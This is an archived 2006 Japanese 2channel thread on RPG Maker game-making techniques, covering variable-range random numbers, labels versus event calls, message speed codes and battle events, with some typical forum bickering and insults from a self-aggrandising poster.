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-RPGツクール総合スレッド@製作技術(Part10)-



1 名前:ツクレナーイ mailto:hage [2006/10/09(月) 13:29:40 ID:6nugrYnE]
PC版RPGツクールの「製作技術的な話題」を扱うスレッドです。
それ以外の雑談などは同人ゲーム板の該当スレッドでお願いします。

【注意】
 −基本的にsage進行で。

 −質問をする時は、書き込む前に必ず説明書やヘルプに目を通すこと。
   また、可能な限り前スレも参照、検索をしたのち、
   どうしてもわからなかった場合にのみ質問をして下さい。
   ※特にRPGツクール2000は付属のヘルプが非常に充実しています。

 −自分本位な質問は慎むこと。
   「サイドビュー戦闘の作り方教えて下さい!」といった漠然とした
   質問には、回答者も適切な回答を示すことができません。
   「〜を〜して、〜してみたがうまくいかない、どうすればいいか」という風に、
   過程と現在陥っている問題点を具体的に書き込むようにしましょう。
   あなたの質問に答えてくれる人達のことを考えて。

 −まあなにはともあれ、マターリホノボーノで楽しくやっていきましょう。
   言うまでもないことですが、荒らしや煽り・タナ厨や腐女子は放置です。

 −次スレは>>980が建てること。

前スレ
-RPGツクール総合スレッド@製作技術(Part9)-
pc8.2ch.net/test/read.cgi/gamedev/1153996333/

98 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 15:38:54 ID:aVIAU51v]
とりあえずタナ氏ねよハゲ。
XRXS. 付加属性名判定は入れたか?
XRXS. 装備属性取得機構も入れたか?
他にどのサイトの何てスクリプトも入れてるか全部書きあげろ。

そんんじゃ^^

99 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 16:30:27 ID:Q6++07DI]
>>95
あのコテや、ロクに作る気もない奴になら言ってもいいかも知れんが、
本気で作ってる奴にはその言葉を投げるなと言いたいんだよ。
つーか、いい加減この流れを見させられる者の身にもなってくれ。

それはそうと、
別に俺は今騒いでるコテを擁護してるワケではないんだが。

100 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 16:54:26 ID:8kGLFkVJ]
>>99
そういうヤツが現れて質問してすげなくあしらわれたときに言えよ>本気でツクってるヤツ
なんでこのタイミングなんだ?
このタイミングじゃ擁護してるようにしか見えないだろが。

101 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 17:37:46 ID:c/rWfENL]
タナ栗をあぼーんしてるので、流れが意味不明だった俺が来ましたよ。

ん、まあ、来ただけで何もしないんだが。

102 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 19:05:45 ID:aVIAU51v]
タナ == 本気で作ってる奴

103 名前:タナ栗粉 [2006/10/17(火) 19:42:26 ID:BYQJHMw1]
>>98なるほどお!そのふたついれんのかあ!まじかんしゃ 休みに試してみる
ちなみに俺かなり忍耐強いから100パー完成させるから

104 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 20:21:22 ID:ojrWGF9w]
タナ、このスレで成長したな……

105 名前:タナ栗粉 [2006/10/17(火) 20:24:45 ID:BYQJHMw1]
今や俺を知らないやつはいない。そんな俺が作ったゲーム。 ふふ いったいなんなんの人がやってくれるやら

106 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 20:36:14 ID:wMJX2/Mn]
厨くさい



107 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 20:41:20 ID:aVIAU51v]
以下、ツクールの製作技術的な話題を
熱くお楽しみください

108 名前:タナ栗粉 [2006/10/17(火) 20:42:54 ID:BYQJHMw1]
>>106礼儀だの厨がどうしただの嫉妬だの
"おまえたち"だけで共有したらいい

109 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 20:56:39 ID:ojrWGF9w]
ごめwwwwやっぱりタナ成長してないわwwwwwwwww

110 名前:タナ栗粉 [2006/10/17(火) 20:57:51 ID:BYQJHMw1]
>>"おまえたち"とは?

俺を除く全て!

111 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 21:04:16 ID:Kpolp3Tj]
ヒントもらったらさっさとうせるんじゃなかったのか?

112 名前:タナ栗粉 [2006/10/17(火) 21:12:23 ID:BYQJHMw1]
すみません調子こきすぎた。でもヒントくれたのはおまえじゃないんだから偉そうにすんなよ

113 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 21:13:56 ID:YwK/XFZx]
2000.

乱数を発生させる際、変数xと変数yの間の乱数を得たい時はどうすればいいのでしょうか?
たとえば、x=10 y=30の時だったら、10〜30の間で乱数を発生させる場合。
当然、xとyは固定値ではありません。

114 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 21:25:16 ID:GWj/5hmS]
>>113
残念ながら2000では変数を用いた乱数はできないんだ(´・ω・`)

115 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 21:36:58 ID:YIwE4b7L]
1.変数Z = 変数Y - 変数X
2.変数R = 乱数0〜100
3.変数Z = 変数Z * 変数R
4.変数Z = 変数Z / 100
5.変数Z = 変数Z + 変数X

1で差分を求める (変数X=10, 変数Y=30 の場合は 20)
2,3,4で差分内の乱数を作成 (0〜20の乱数を作成)
5で最小の数を加算(0〜20 + 10 = 10〜30)

どうかな?
間違えてたら恥ずかしくて死ぬ

116 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 21:46:06 ID:GWj/5hmS]
>>115
乙っぱい



117 名前:名前は開発中のものです。 mailto:sage [2006/10/17(火) 21:52:10 ID:YwK/XFZx]
ありがとうございます。
理論上、問題ないと思いますが試してみます。

118 名前:名前は開発中のものです。 [2006/10/17(火) 23:40:50 ID:5W9bXmF2]
やっぱりプログラムやるには理系じゃないとダメと高校生のマジ質問ww

119 名前:名前は開発中のものです。 mailto:sage [2006/10/18(水) 00:28:06 ID:gFx9Ww/i]
論理的思考能力は必要だけど
数学致命的だった私でもできるから基本的に関係ない

プログラムなんざアルゴリズムがわかりゃ
あとはその通りになるよう組み合わせていくだけだし

120 名前:名前は開発中のものです。 mailto:sage [2006/10/18(水) 00:55:59 ID:MA/TSC86]
数学が出来るに超したことはねーけど(出来ると超便利)、
RPG作るぐらいなら算数でおけ。

121 名前:名前は開発中のものです。 mailto:sage [2006/10/18(水) 05:14:06 ID:UE9R3Wg3]
むしろプログラムは、文系の力がある方が有利かもしれない。
プログラムってのはつまりコンピューターとの対話。
確かに理系の知識とか感覚が必要な部分も多いけど、文章力も重要だと思う。

コンピューターは「ウィンドウ作ってあれ表示しろ」じゃ動いてくれない。
ちゃんと具体的に「縦と横が〜のサイズのウィンドウを作って、その中のこの位置に所持金を表示しろ」としなきゃあダメなのよ。
これをどれだけ細かく書けるかが、目的への近道になると俺は思う。
これが疎かだと、いくら数字に強くても目的は恐らく果たせない。
実際漏れがそうだしorz

始めるんなら、最初は実際のプログラムのごくごく簡単な部分(数値計算とか)の日本語訳からをオヌヌメ。

122 名前:名前は開発中のものです。 mailto:sage [2006/10/18(水) 10:46:14 ID:hfjGWV2r]
ツクールスレでプログラム語られてもなあ

123 名前:名前は開発中のものです。 mailto:sage [2006/10/18(水) 17:27:52 ID:WJJGxANL]
RPGなら文理関係ないけど、レーシングとかアクションとかの物理的・数学的な計算が必要なのは文系には難しい。

124 名前:名前は開発中のものです。 mailto:sage [2006/10/18(水) 17:37:45 ID:IKroAbr8]
エヴァは眠らせとけw

125 名前:名前は開発中のものです。 mailto:sage [2006/10/18(水) 17:38:45 ID:IKroAbr8]
MGS実況スレの誤爆スマソ

126 名前:名前は開発中のものです。 mailto:sage [2006/10/18(水) 22:07:08 ID:NFNyD6nG]
>>122
RGSSじゃなくても、やってることはプログラミングなんだよ。



127 名前:名前は開発中のものです。 mailto:sage [2006/10/18(水) 23:59:54 ID:Tth9vLSW]
ツクールでもプログラミングの基本はしってたほうが楽かもしれない。
ツクールって要は既に組んであるプログラムを呼び出して実行してるわけだろうし。

128 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 00:07:57 ID:0lIvW1oZ]
簡潔に効率よく、なおかつ修正や仕様追加に対応しやすいよう組んでおくと楽

宝箱のメッセージを変えたくなった
シンボルエンカウントを作ったけど、後々バグが見つかった
→全マップに配置したイベントそれぞれを修正しないと・・・
みたいなのは辛いぞ〜

129 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 00:08:22 ID:uV938WVd]
逆に初心者が手軽にプログラミングの構造を掴めるものとしてツクールはいいのかもしれないな

130 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 00:13:19 ID:qcuuZ+C4]
出来るだけ共通処理にするとか、
サブを上手く使うとか、

まぁ、細かいテクニックはあるよね

131 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 07:37:27 ID:16O3nvC+]
>>129
意識しないからだめじゃね?

132 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 11:45:20 ID:l3Sb++qR]
普通のプログラミング環境とツクールの本質的な差って、わけのわかんない事前の儀式があるかないかと、一見親切だが小回りの効かないインターフェイスがあるかないか、くらいじゃね?


133 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 11:48:20 ID:cWMFEmXK]
言語でもルーチンの基本は変数で作る条件と条件分岐、ラベル付けとラベルに戻ると似たようなものだから。

134 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 13:37:39 ID:/DMXpHrv]
ツクールは計算がめんどくさいのが難点だけど、

まぁ、変数・判定・計算・条件分岐・ラベル があればナントカなるよね

135 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 14:56:35 ID:16O3nvC+]
5つもいらない。というか、2つかぶってる。

136 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 15:01:00 ID:/DMXpHrv]
しまった。条件分岐と判定は同じカ!



137 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 15:49:25 ID:cWMFEmXK]
似てるけど「条件分岐=判定+振り分け」じゃないの?

138 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 15:56:41 ID:F83jXOgg]
変数・ラベル・条件分岐・ピクチャー・繰り返し処理・ウェイトは必須

139 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 16:10:32 ID:16O3nvC+]
>>136
計算と判定が同じなんだ。分岐とラベルジャンプも同じ。
なので変数、演算、分岐の三つ。

140 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 16:12:24 ID:16O3nvC+]
ってか、ゲームプログラミングでは肝心のIOがねーなw

141 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 17:27:50 ID:KAl31B49]
テストプレイやってる時に
キャンセルボタンが押しっぱなしみたいな形になってしまって
キャンセルボタンが使えなくなってるんだが
Altを押しっぱなしにしてると直るんだけど
ずっと押しっぱなしってわけにもいかないし
これと同じになった人いない?


142 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 17:30:08 ID:I7jG1Ukv]
ラベルってどういう時に使うの?いままで一回も使った事ないんだけど・・

143 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 17:43:30 ID:qHwjsKIf]
>>139
分岐とラベルジャンプはまったく別物だと思うけど。
だって分岐とは全然違うところに設置するからラベルなんじゃないの?

計算と判定が同じってのもワカラン

>>142
私はその処理を強制終了するのにつかったり、
その処理を何度も繰り返したりするのに使ってる

144 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 17:47:11 ID:cWMFEmXK]
>>142
マニュアルのイベント作成の例でハイって答えるまでループするイベンとで使ってなかったけ?
条件分岐で条件に合わない場合もう一度選択肢に戻ったりする時によく使うんだけど。

145 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 18:05:12 ID:l3Sb++qR]
>>142
分岐の数が多かったり、分岐の中身が長い場合にも使ってるな。
条件によって会話が色々かわるときとか、分岐命令のなかに長文書いて訳わかんなくなるのを防止。

条件分岐
 満たされた場合
  ラベル1へ飛ぶ
 満たされなかった場合
  イベント中断

ラベル1
文章「むかしむかしあるところに・・・」

146 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 18:16:48 ID:I7jG1Ukv]
なるほど・・今までラベル使わなかったから別に使わなくていいかなーと思ってたんだけど使うと何かと便利みたいだね



147 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 19:08:51 ID:qHwjsKIf]
>>145
>分岐命令のなかに長文書いて訳わかんなくなるのを防止。
そういう場合は私はサブ作っちゃうな

とにかく、長くなりそうだったら別の場所にイベントつくって呼び出しにしてる
一区切りの処理が1画面内に入らない場合は大抵外に出しちゃう


148 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 20:28:56 ID:c/9yAQYL]
>>146
ラベルは極力使わないほうがいい
条件分岐・くり返し処理・イベントの呼び出しだけで組むことを薦める

ラベルを使ったらすごく良い感じの処理を作れた!とかいうことになった場合、
イチからその処理を見直すべき

ちなみに145のような処理を組む場合はラベルではなく「イベントの呼び出し」を使いなさい

ラベルというかGOTO文は処理を無駄に複雑化する、バグの元
なにより美しくない

149 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 20:56:24 ID:y3QGAIPu]
「美しい」とかは、人へ説明するときに使うのはよくないよ。説明になってないから。


プログラミング言語としては結構貧弱だから、上手に使って見易く分かりやすく
するための工夫としてなら、GOTOも使っていった方がいいよ。

なまじ普通のプログラミング言語を知ってると「GOTOは使っちゃいけない」と
(理由付きにしても)刷り込まれててGOTOに拒否反応が出るかもしれないけど、
言語が貧弱な場合は、ちゃんと自力で工夫する必要がある。GOTOはその
手段の一つとして有効だよ。

ただ、GOTOが便利だからといってなんでもかんでもGOTOで済ましていると、
「あれ、このGOTOはどういうつもりで使ってるんだ……?」って事態になるから、
GOTO以外の別の方法で簡単に実現できるなら、別の方法を使ったほうがいい。

150 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 21:44:56 ID:pddBhYe9]
会話の進みと曲の進み合わせるためにエンター押さないで自動で会話進めるにはどうすればいいですか?

151 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 21:48:59 ID:imAyjdpj]
\.とかのウェイト記号とスピード調節記号でなんとかなるはず。

152 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 21:50:17 ID:EP/lh7Yn]
つーかヘルプの文章の表示見ろ

153 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 21:55:23 ID:51hERVZk]
ラベルは使いこなせれば美しいぞ

154 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 22:06:32 ID:FVTiuD95]
昔アセンブラつかったときはGOTOだらけでカルチャーショック受けた思い出がある
それいらラベルに抵抗なくなった

155 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 22:31:05 ID:c/9yAQYL]
>>149
美しさ云々は説明のために言ったわけじゃないw
まあ冗談だ

でも冗談抜きで美しさを求めるのは大切だと思う
良い作品を作るため、じゃなくて、作る過程を楽しむため

ある程度ツクった自分の作品を見返すとき、
「俺の考えたキャラ最高じゃね?」とか「けっこう感動できるシナリオかも」とかじゃなくて
「美しく組めたなぁ!」ってニヤけるのは・・ちょっとネクラかもしれんけど

156 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 22:50:52 ID:y3QGAIPu]
他の皆さん、一般にプログラマの言う「美しさ」とは、
こういうナルシズムのことではなくて、一切無駄の無いコードで
目的の機能が表現されているとか、明確に構造化されているだとか、
そういう「実際的に良いコード」に対する評価のことです。


いや、意味付けが普通と異なるからといって155をバカにしたい
わけではないんだが、普通は美しさというのは自己満足じゃなくて、
実際にコードの品質に関わる意味があって使われているから、
気をつけたほうがいいよ。



157 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 22:57:21 ID:T8SoFCUJ]
分かりやすいプログラムじゃないの?<美しさ
メンテナンスがしやすく分かりやすくすっきりしている。
2年先に自分以外の誰かがみてもすぐに理解でき、修正が容易なプログラムは
正に美しいプログラムだと思うよ

158 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 23:11:12 ID:DvBTdNx1]
2年先って何だ?

159 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 23:17:07 ID:y3QGAIPu]
実際的に良いコードといっても、単に高速なコードを美しいとは
言わんので、おおむね157の言うとおりでOKだと思う。

160 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 23:18:22 ID:c/9yAQYL]
>一切無駄の無いコードで
>目的の機能が表現されているとか、明確に構造化されているだとか、
>そういう「実際的に良いコード」に対する評価のことです。

そういうのも当然含めた上で「美しい」って言っているだよ
一体どんな勘違いしているんだか

161 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 23:25:03 ID:c/9yAQYL]
なんか分かりにくい表現とか使ったかな?
単に高速なコードを美しいとも言ってないぞ
具体的に言ったことは「GOTO文は処理を無駄に複雑化する、バグの元 なにより美しくない」だけだ

なんかスレが変な流れになっちゃったかな
ごめんね

162 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 23:34:20 ID:cWMFEmXK]
ツクールで会話のはい、いいえで数行ループさせるのに「美しくない」とかいって
いちいちコモンにして毎回呼び出しなおす方が複雑化してバグの元って思うのが
プログラマーってものなのだろうか?

163 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 23:43:10 ID:y3QGAIPu]
そういう過剰な分割も美しくないよ。
無駄は省こう。

164 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 23:45:00 ID:DvBTdNx1]
好きにやらせてくれ…

165 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 23:50:37 ID:c/9yAQYL]
>>162
145の処理でコモンを使うだなんて発想は逆立ちしても出てこないだろ
イベントを2ページに分けて、文章の表示処理を2ページ目に突っ込むとか
まあ2分岐程度の単純な処理ならラベルのほうが良いのか

166 名前:名前は開発中のものです。 mailto:sage [2006/10/19(木) 23:57:05 ID:gFWY/k+D]
2000で一度文章の表示速度を変えても、次の文章を表示するときには速度1に戻ってしまうようですが、
たとえば全ての文章を5の速さで表示したいという場合、全ての文章で\S[5]と入力するしかなく、
一括で全ての文章の速度を設定することはできないのでしょうか



167 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 01:01:32 ID:2RxMgjWO]
無理

168 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 01:15:35 ID:gImrVyjG]
面倒だよね
俺は瞬間表示させるのが好みだから全部の行のはじめに\>入れてる

169 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 01:50:50 ID:ZJpR4WHE]
うーん
顧問イベントの並列処理で・・・って思いついて
\S[5]だけを入力した文章の表示を実行してみましたが
これだけでも文章欄が表示されてしまいますね
\S[5]\^でも、一瞬表示されてしまうのでだめでした

170 名前:名前は開発中のものです。 [2006/10/20(金) 07:18:56 ID:MAMd7W4J]
\S[5]の代わりに
\N[1]とかを全てのメッセージの頭につけて
メッセージ速度を変更するイベントで
該当する主人公の名前を\S[1]や\S[3]に変更
で一括変更できそうだが
面倒か…これじゃ。

171 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 07:20:58 ID:MAMd7W4J]
とりあえずsageとく

172 名前:名前は開発中のものです。 [2006/10/20(金) 08:03:51 ID:5mMWg2MD]
おれはあげるわ

173 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 08:05:00 ID:HdHztY5x]
とりあえずsageとく

174 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 16:03:18 ID:J9y+6N7+]
ツクール2000しかいじった事ないんだけど2003ってなんであんまり支持されてないの?詳しい方教えてくれませんか?

175 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 16:14:22 ID:12Jhg2Y4]
>>174
バグと糞仕様。

176 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 16:50:16 ID:tg4zgrwa]
とはいってもバグは戦闘中心でここじゃデフォ戦だとすぐに糞って言われるから
自作戦闘作る気なら2003の方が融通が利くけどな。

2003でもコンパク金賞受賞とかあるし↓
ttp://www.vector.co.jp/games/soft/win95/game/se389257.html
結局は使い方さえ心得てれば所詮は道具。



177 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 17:18:04 ID:c2iNmZu0]
なんか2003の作品って通常攻撃と特技とのダメージの差が大きい気がする・・まぁ2000でも言えるけど。〜程度のダメージを与えるとかの技をよく見るけどなんか攻撃力上げる意味ないじゃん!って思っちゃうなぁ・・

178 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 18:25:39 ID:63i93Ugv]
2000しか知らないが、
特技の基本効果量を低く設定して、C150%とかの魔法属性を付加すれば、
通常攻撃が基準のダメージが与えられるんじゃないか?

179 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 19:28:24 ID:c2iNmZu0]
2003はいじってないのでよく分からんが基本的に固定ダメージ的な技しかみた事がない・・2003は打撃関係度とかがないのかな・・?

180 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 19:50:48 ID:tg4zgrwa]
前に体験版弄った事があるけど、基本的には2000と同じだったと思う、
2000と違って属性の係数をマイナス%に設定できたり、多少拡張もされてたような気がする。

気になるなら体験版弄ってみればわかるんじゃない?

181 名前:名前は開発中のものです。 [2006/10/21(土) 12:11:21 ID:Q5FmEMAv]
2000ってダメージ999でカンストだよね

自作戦闘じゃないとそれ以上はいかないんですか?
(連続攻撃で999連発はなしで)

182 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 12:12:20 ID:/q57FJGk]
そうだよ。

183 名前:タナ栗粉 ◆8Tdr0tD9Mk [2006/10/21(土) 12:21:51 ID:1NYub5Bg]
>>98 だめだ なんで?サイトのいってるとおりにやったのにスキルがHP消費してくんない なんで?まじだれか助けて

184 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 12:22:58 ID:Q5FmEMAv]
即レス ありがとう

そうか〜やっぱり自作しかないか・・・

185 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 12:31:40 ID:/q57FJGk]
>>184
その範囲でバランス取れば良いんじゃないの?「数値がデカイ=面白い」って訳じゃないし。
HP5000の敵に2500のダメージが出る戦闘にしたいならHP2000の敵に999ダメージの戦闘でも
さほど違いは無いし。

186 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 12:36:22 ID:AxjxE0VX]
貴方いつもそれ言ってるけど、大きなお世話だと思いますよ。

どんなものが作りたいかは作者が決めることです。



187 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 13:29:15 ID:dNVmCtrG]
>>183
プリントいれれ
んでドコまで処理してるか、ドコが処理してないか確認せい
ソレがいやならあきらめれ

188 名前:タナ栗粉 [2006/10/21(土) 13:54:39 ID:1NYub5Bg]
プリントってなに?

189 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 14:40:50 ID:u0XCeZlt]
ダメな人ですね。

190 名前:名前は開発中のものです。 [2006/10/21(土) 15:02:18 ID:1NYub5Bg]
つうかなんで?スクリプトシェルフって有名なサイトでしょ?それの言うとおりにしてんのになんで使えねえんだよ

191 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 15:14:25 ID:hnvtQqLY]
>>186
作りたいのと作れるのは違うわけだが。

192 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 15:22:27 ID:u0XCeZlt]
作者が4桁ダメージにしたいってんのに、
他人が「4桁必要ない」だなんて水差す必要はないかと。

193 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 15:57:28 ID:g8FN/DgJ]
シミュレーションRPG作りたいんだがXPで挑戦した椰子いる?
95で作るのも古くて嫌だしな・・・

194 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 16:09:39 ID:/q57FJGk]
水を差してるとか、必要ないと言うんじゃなく、完成を目差す時の時間や労力を考えてから
検討した方が良いかなと思って。

攻撃、防御、逃走、特殊技能あって状態変化や5段階の影響をもつ属性を組み込んだ、
味方最大4人VS敵最大10体、協力防御、二刀流などのオプションとバトルイベントも
結構組み込める戦闘を組む労力が無いというメリットと、4桁のダメージが出ると言うメリットを
天秤にかけてみて好きな方を取ればいいと思うよ。


195 名前:名前は開発中のものです。 [2006/10/21(土) 17:41:29 ID:1NYub5Bg]
だれかスクリプトシェルフに詳しい人いないんか

196 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 17:42:57 ID:UCMgjFiB]
俺はバトルイベントいじって999越えさせてるけどな・・でもデフォの攻撃とかが999越える訳じゃないから最高まで強くしても5000ぐらいだけど。非公認EXEでいいならデフォでも越えるが・・



197 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 17:52:29 ID:EvY78T2a]
デフォ戦作ったことない。
今ツクール開いてチラッと見てみたけど、バトルイベントって何?
戦闘中にイベントとかできるの?

198 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 17:58:49 ID:UCMgjFiB]
バトルイベントいじれば色々できるよ。どんな事ができるかはとりあえず自分で考えたほうがいいと思う。まぁ色々あって説明するのが面倒なだけだけど・・・・俺は全ての敵グループに60項目ぐらい付けてる。

199 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 18:08:09 ID:EvY78T2a]
すまん、よく見たらヘルプにあったわ。
確かにデフォ戦の可能性は感じるな。

でも敵グループすべてに設定するの、半端じゃなくめんどくさそうだ。

200 名前:タナ栗粉 [2006/10/21(土) 18:12:20 ID:1NYub5Bg]
やったああああーーできたぞーーー やっぱり僕は天才なんだ お前等さんざんいじわるしやがって結局事故解決だぜ


201 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 18:13:25 ID:/q57FJGk]
>>199
最初にゲームのデザインを煮詰めておいて共通したバトルイベント雛型を作って
それをコピーしてモンスターグループを作るのがセオリーよ。

あとからボスとか固有のイベントだけ追加する感じでやればそんなに手間じゃないよ。

202 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 18:19:15 ID:EvY78T2a]
コモン呼べないみたいだし、修正時の事考えるとすげー恐ろしいわ…
そういう意味では自作のほうがまだ楽に思えるよ。

203 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 18:28:25 ID:UCMgjFiB]
いや一番最初にバトルイベントでシステム的なもん作ったら後は大体コピペでいいから案外面倒臭さはない。ミスとかあった場合は最悪だけど・・・・でもまぁ本当にやりたい事したいんなら自作が一番いいんだろうけどね。自分的にはバトルイベントで十分かな〜と思う。

204 名前:タナ栗粉 [2006/10/21(土) 19:01:04 ID:1NYub5Bg]
ぶっちゃけさ RPGつくーるXPなんてスクリプトシェルフとアトリエがあればおそるるに足らずだな

205 名前:わん・しんだった人 mailto:sage [2006/10/21(土) 20:32:43 ID:1drb6kEf]
>>204
Wiki は使ってくれないの?

206 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 20:48:32 ID:QKpVmAVV]
バトルイベントからコモンイベント呼んでる作品があるから
コピペして自分の作品に流用できるよ

バトルイベントはなにより編集しにくくてツライ
編集ウィンドウが狭すぎる!



207 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 21:14:27 ID:/q57FJGk]
>>206
あれは2003で編集して2000に貼り付けると出来るんだわさ。
ただ、戦闘中使えないイベントを呼び出すとエラーが起こるから注意しないといかん。
実は普段バトルイベントじゃつかえないイベントでもコモンから呼び出すと戦闘中に動く奴もある。

戦闘中のみ全部に反映されるバトルコモンみたいなのがあれば良かったのにね。

208 名前:タナ栗粉 [2006/10/21(土) 21:18:53 ID:1NYub5Bg]
>>25WIKIってなんだっけ

209 名前:名前は開発中のものです。 mailto:sage [2006/10/22(日) 02:11:27 ID:HupOm6B+]
>>207
キー入力の処理とか使えるのは大きいね
シフトキー押しっぱなしで自動戦闘とかできるし

210 名前:名前は開発中のものです。 mailto:sage [2006/10/22(日) 16:15:22 ID:rRDKkYou]
3DRPGエディターのスレってないんですかね?
ていうか、それで作ったのを配布してるサイトすらまともに見つからない
もうね、ほんと困る

211 名前:名前は開発中のものです。 mailto:sage [2006/10/22(日) 16:52:32 ID:Q1TEO7Lf]
2000でイベント実行後に消えるイベントをつくろうとしてます

イベントの最後にスイッチAをオンにする処理を入れ、
もうひとつページを作って、出現条件をスイッチAがオンにして
グラフィックに何も設定しないイベントをつくりました

こうすると、たしかに見た目上はイベントが消えるのですが、
消滅後も、そのイベントが置かれた場所を主人公が通行することができません

出現条件を指定していない透明グラフィックのイベントの上は通行できるのですが、
このようなイベントでは通行できません
どうなってるんでしょうか?

212 名前:名前は開発中のものです。 mailto:sage [2006/10/22(日) 17:12:31 ID:WjOIeveB]
透明なほうのページのプライオリティタイプが、通常キャラと重ならないになってるとかじゃないの?

どっちにしても凡ミスのような気が。

213 名前:タナ栗粉 [2006/10/22(日) 17:42:24 ID:oMS/zwnE]
これでバトラー 敵バトラー 歩行グラ  マップチップ スクリプト。
アイテム設定 ステータス設定 敵ステータス設定 武器 防具 戦闘アニメ
すべての準備は整った あとは造だけ ふふ もうすぐだ 楽しみにしてろよお前等

214 名前:名前は開発中のものです。 mailto:sage [2006/10/22(日) 17:48:16 ID:7WPSXwpt]
>>211
条件分岐じゃなくイベントのページを使ってスイッチが入ったときは2ページ目になるようにして
そちらは透明で「通常キャラの下」にしておけば簡単だよ。

215 名前:名前は開発中のものです。 mailto:sage [2006/10/22(日) 18:03:00 ID:Q1TEO7Lf]
わかりました! ありがとう

216 名前:タナ栗粉 [2006/10/23(月) 17:43:44 ID:/gentXf6]
お前ら無視すんなよ
殺すぞ



217 名前:名前は開発中のものです。 mailto:sage [2006/10/23(月) 17:52:52 ID:yY06jPct]
ツクール買おうかと思ってるんだがXPで良いのだろうか?
2000が使いやすいとか聞いたんだが・・・

218 名前:名前は開発中のものです。 mailto:sage [2006/10/23(月) 18:06:33 ID:y7V7VIK+]
簡単にRPG作りを楽しみたいなら、2000がお勧め。
スペック的には低くて軽い。お手軽。
がんばって自作戦闘とか作って超オレ好みの作りたいぜ!
って気持ちがあるなら、XPがお勧め。
スペック的は高くて重い。自由自在。

ちなみにRGSSは、ゲームプログラミングの中ではお手軽な部類よ。
たぶんHSPに比べてもお手軽だなぁ。

219 名前:名前は開発中のものです。 mailto:sage [2006/10/23(月) 18:09:55 ID:SZ/Ij331]
>>217
XPは何もしなくても作れるけど目玉であるRGSSエディタを素材サイトからコピーして使うにせよ
